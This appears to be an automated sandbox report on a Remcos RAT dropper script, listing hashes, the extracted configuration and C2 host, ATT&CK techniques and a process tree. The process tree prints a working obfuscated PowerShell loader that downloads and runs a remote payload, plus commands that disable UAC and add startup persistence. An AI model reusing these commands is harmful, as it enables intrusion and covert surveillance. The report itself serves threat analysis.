remcos | e6a1d0c6cdb62e541492740eeabafe7f88f242d6a442fa0e2d2b4e8b1a2b1617

General

Target

Swift.vbs
Size

2KB
MD5

315401e5c4a15efa7628f2f10e56e122
SHA1

90b802655c11e33edeac8e70e01aaaff2c751e01
SHA256

e6a1d0c6cdb62e541492740eeabafe7f88f242d6a442fa0e2d2b4e8b1a2b1617
SHA512

513300679e77855352399ee181ad3e8cc70aaeef3ebdbad08464107b9395e48152a9fbb00976f430ce01e993641b038860b44bb518c9acc04b4d00bd39a682cb

Score

10^/10

remcos system evasion rat trojan

Malware Config

Extracted

Family

remcos

Botnet

system

C2

god7.duckdns.org:1984

Attributes

audio_folder
MicRecords
audio_path
%AppData%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
ims
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
install_path
%AppData%
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
vlc
keylog_path
%AppData%
mouse_option
false
mutex
-5527C6
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
pdf
take_screenshot_option
false
take_screenshot_time
5
take_screenshot_title

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112
Blocklisted process makes network request 7 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

4 1936 WScript.exe
5 1936 WScript.exe
7 1936 WScript.exe
9 1936 WScript.exe
11 784 powershell.exe
12 784 powershell.exe
14 784 powershell.exe
Loads dropped DLL 1 IoCs

Processes:

powershell.exe

pid process

784 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 784 set thread context of 772 784 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1536 reg.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

784 powershell.exe
Suspicious behavior: RenamesItself 1 IoCs

Processes:

cmd.exe

pid process

1492 cmd.exe

flow	pid	process
4	1936	WScript.exe
5	1936	WScript.exe
7	1936	WScript.exe
9	1936	WScript.exe
11	784	powershell.exe
12	784	powershell.exe
14	784	powershell.exe

pid	process
784	powershell.exe

description	pid	process	target process
PID 784 set thread context of 772	784	powershell.exe	RegAsm.exe

pid	process
1536	reg.exe

pid	process
784	powershell.exe

pid	process
1492	cmd.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

Processes:

powershell.exe

description	pid	process
Token: SeDebugPrivilege	784	powershell.exe
Token: SeIncreaseQuotaPrivilege	784	powershell.exe
Token: SeSecurityPrivilege	784	powershell.exe
Token: SeTakeOwnershipPrivilege	784	powershell.exe
Token: SeLoadDriverPrivilege	784	powershell.exe
Token: SeSystemProfilePrivilege	784	powershell.exe
Token: SeSystemtimePrivilege	784	powershell.exe
Token: SeProfSingleProcessPrivilege	784	powershell.exe
Token: SeIncBasePriorityPrivilege	784	powershell.exe
Token: SeCreatePagefilePrivilege	784	powershell.exe
Token: SeBackupPrivilege	784	powershell.exe
Token: SeRestorePrivilege	784	powershell.exe
Token: SeShutdownPrivilege	784	powershell.exe
Token: SeDebugPrivilege	784	powershell.exe
Token: SeSystemEnvironmentPrivilege	784	powershell.exe
Token: SeRemoteShutdownPrivilege	784	powershell.exe
Token: SeUndockPrivilege	784	powershell.exe
Token: SeManageVolumePrivilege	784	powershell.exe
Token: 33	784	powershell.exe
Token: 34	784	powershell.exe
Token: 35	784	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

RegAsm.exe

pid process

772 RegAsm.exe

pid	process
772	RegAsm.exe

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

WScript.exepowershell.exeRegAsm.execmd.exe

description	pid	process	target process
PID 1936 wrote to memory of 784	1936	WScript.exe	powershell.exe
PID 1936 wrote to memory of 784	1936	WScript.exe	powershell.exe
PID 1936 wrote to memory of 784	1936	WScript.exe	powershell.exe
PID 1936 wrote to memory of 1492	1936	WScript.exe	cmd.exe
PID 1936 wrote to memory of 1492	1936	WScript.exe	cmd.exe
PID 1936 wrote to memory of 1492	1936	WScript.exe	cmd.exe
PID 784 wrote to memory of 772	784	powershell.exe	RegAsm.exe
PID 784 wrote to memory of 772	784	powershell.exe	RegAsm.exe
PID 784 wrote to memory of 772	784	powershell.exe	RegAsm.exe
PID 784 wrote to memory of 772	784	powershell.exe	RegAsm.exe
PID 784 wrote to memory of 772	784	powershell.exe	RegAsm.exe
PID 784 wrote to memory of 772	784	powershell.exe	RegAsm.exe
PID 784 wrote to memory of 772	784	powershell.exe	RegAsm.exe
PID 784 wrote to memory of 772	784	powershell.exe	RegAsm.exe
PID 784 wrote to memory of 772	784	powershell.exe	RegAsm.exe
PID 784 wrote to memory of 772	784	powershell.exe	RegAsm.exe
PID 784 wrote to memory of 772	784	powershell.exe	RegAsm.exe
PID 784 wrote to memory of 772	784	powershell.exe	RegAsm.exe
PID 784 wrote to memory of 772	784	powershell.exe	RegAsm.exe
PID 784 wrote to memory of 772	784	powershell.exe	RegAsm.exe
PID 784 wrote to memory of 772	784	powershell.exe	RegAsm.exe
PID 784 wrote to memory of 772	784	powershell.exe	RegAsm.exe
PID 772 wrote to memory of 1652	772	RegAsm.exe	cmd.exe
PID 772 wrote to memory of 1652	772	RegAsm.exe	cmd.exe
PID 772 wrote to memory of 1652	772	RegAsm.exe	cmd.exe
PID 772 wrote to memory of 1652	772	RegAsm.exe	cmd.exe
PID 1652 wrote to memory of 1536	1652	cmd.exe	reg.exe
PID 1652 wrote to memory of 1536	1652	cmd.exe	reg.exe
PID 1652 wrote to memory of 1536	1652	cmd.exe	reg.exe
PID 1652 wrote to memory of 1536	1652	cmd.exe	reg.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Swift.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1936

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $t0='DE5'.replace('D','I').replace('5','x');sal g $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,01100101,01100110,01100101,01110010,01100101,01101110,01100011,01100101,00100000,00111101,00100000,00100111,01010011,01101001,01101100,01100101,01101110,01110100,01101100,01111001,01000011,01101111,01101110,01110100,01101001,01101110,01110101,01100101,00100111,00111011,00100100,01110100,00110101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,01101110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,01100010,01101010,01100101,01100011,01110100,00101000,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,01010100,01111001,01110000,01100101,01011101,00101100,00100000,00110011,00110000,00110111,00110010,00101001,00111011,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01110010,01110110,01101001,01100011,01100101,01010000,01101111,01101001,01101110,01110100,01001101,01100001,01101110,01100001,01100111,01100101,01110010,01011101,00111010,00111010,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,00100000,00111101,00100000,00100100,01110100,00110101,00110110,01100110,01100111,00111011,01000001,01100100,01100100,00101101,01010100,01111001,01110000,01100101,00100000,00101101,01000001,01110011,01110011,01100101,01101101,01100010,01101100,01111001,01001110,01100001,01101101,01100101,00100000,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00111011,01100100,01101111,00100000,01111011,00100100,01110000,01101001,01101110,01100111,00100000,00111101,00100000,01110100,01100101,01110011,01110100,00101101,01100011,01101111,01101110,01101110,01100101,01100011,01110100,01101001,01101111,01101110,00100000,00101101,01100011,01101111,01101101,01110000,00100000,01100111,01101111,01101111,01100111,01101100,01100101,00101110,01100011,01101111,01101101,00100000,00101101,01100011,01101111,01110101,01101110,01110100,00100000,00110001,00100000,00101101,01010001,01110101,01101001,01100101,01110100,01111101,00100000,01110101,01101110,01110100,01101001,01101100,00100000,00101000,00100100,01110000,01101001,01101110,01100111,00101001,00111011,00100100,01110100,01110100,01111001,00111101,01100111,00101000,00100111,00101000,01001110,01100101,01110111,00101101,00100111,00101011,00100111,01001111,01100010,01101010,01100101,00100111,00101011,00100111,01100011,01110100,00100000,01001110,01100101,00100111,00101011,00100111,01110100,00101110,01010111,01100101,00100111,00101011,00100111,01100010,01000011,01101100,01101001,00100111,00101011,00100111,01100101,01101110,01110100,00101001,00100111,00101001,00111011,00100100,01101101,01110110,00111101,00100000,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01001001,01101110,01110100,01100101,01110010,01100001,01100011,01110100,01101001,01101111,01101110,01011101,00111010,00111010,01000011,01100001,01101100,01101100,01000010,01111001,01101110,01100001,01101101,01100101,00101000,00100100,01110100,01110100,01111001,00101100,00100111,01000100,01101111,01110111,01101110,00100111,00100000,00101011,00100000,00100111,01101100,01101111,01100001,01100100,00100111,00100000,00101011,00100000,00100111,01010011,01110100,01110010,00100111,00100000,00101011,00100000,00100111,01101001,01101110,01100111,00100111,00101100,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01000011,01100001,01101100,01101100,01010100,01111001,01110000,01100101,01011101,00111010,00111010,01001101,01100101,01110100,01101000,01101111,01100100,00101100,00100111,01101000,01110100,01110100,01110000,00100111,00100000,00101011,00100000,00100111,00111010,00101111,00101111,01101111,01101110,01100101,01100100,01110010,01101001,01110110,01100101,00101110,01101100,01101001,01110110,01100101,00101110,01100011,01101111,01101101,00101111,01100100,01101111,01110111,01101110,01101100,01101111,01100001,01100100,00111111,01100011,01101001,01100100,00111101,01000101,01000100,00110111,01000110,00110011,01000001,01000011,01000100,01000011,01000010,01000001,00110001,01000110,00110111,01000100,00110010,00100110,01110010,01100101,01110011,01101001,01100100,00111101,01000101,01000100,00110111,01000110,00110011,01000001,01000011,01000100,01000011,01000010,01000001,00110001,01000110,00110111,01000100,00110010,00100101,00110010,00110001,00110100,00110010,00110101,00100110,01100001,01110101,01110100,01101000,01101011,01100101,01111001,00111101,01000001,01001000,00110111,01001101,01100001,01001110,00110100,01100010,01100011,01001001,01001001,01100110,01110111,01010000,01110011,00100111,00101001,01111100,01100111) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };g([system.String]::Join('', $gf))
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:784

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:772

C:\Windows\SysWOW64\cmd.exe
/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
4⤵
- Suspicious use of WriteProcessMemory
PID:1652

C:\Windows\SysWOW64\reg.exe
C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
5⤵
- Modifies registry key
PID:1536

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c move "C:\Users\Admin\AppData\Local\Temp\Swift.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
2⤵
- Suspicious behavior: RenamesItself
PID:1492

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Bypass User Account Control

1

T1088

Defense Evasion

Bypass User Account Control

1

T1088

Disabling Security Tools

1

T1089

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

\Users\Admin\AppData\Local\Temp\46c6aaab-efef-4dfe-8343-758e541a7c19\AgileDotNetRT64.dll
Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
memory/772-78-0x0000000000431302-mapping.dmp

Download
memory/772-77-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/772-68-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/772-70-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/772-81-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/772-80-0x0000000074DD1000-0x0000000074DD3000-memory.dmp

Filesize
8KB

Download
memory/772-75-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/772-73-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/772-65-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/772-72-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/772-71-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/772-85-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/772-66-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/784-58-0x000007FEF35C0000-0x000007FEF3FE3000-memory.dmp

Filesize
10.1MB

Download
memory/784-55-0x0000000000000000-mapping.dmp

Download
memory/784-62-0x000000000283B000-0x000000000285A000-memory.dmp

Filesize
124KB

Download
memory/784-61-0x000000001B710000-0x000000001BA0F000-memory.dmp

Filesize
3.0MB

Download
memory/784-60-0x0000000002834000-0x0000000002837000-memory.dmp

Filesize
12KB

Download
memory/784-59-0x000007FEF2A60000-0x000007FEF35BD000-memory.dmp

Filesize
11.4MB

Download
memory/1492-57-0x0000000000000000-mapping.dmp

Download
memory/1536-84-0x0000000000000000-mapping.dmp

Download
memory/1652-83-0x0000000000000000-mapping.dmp

Download
memory/1936-54-0x000007FEFB9B1000-0x000007FEFB9B3000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing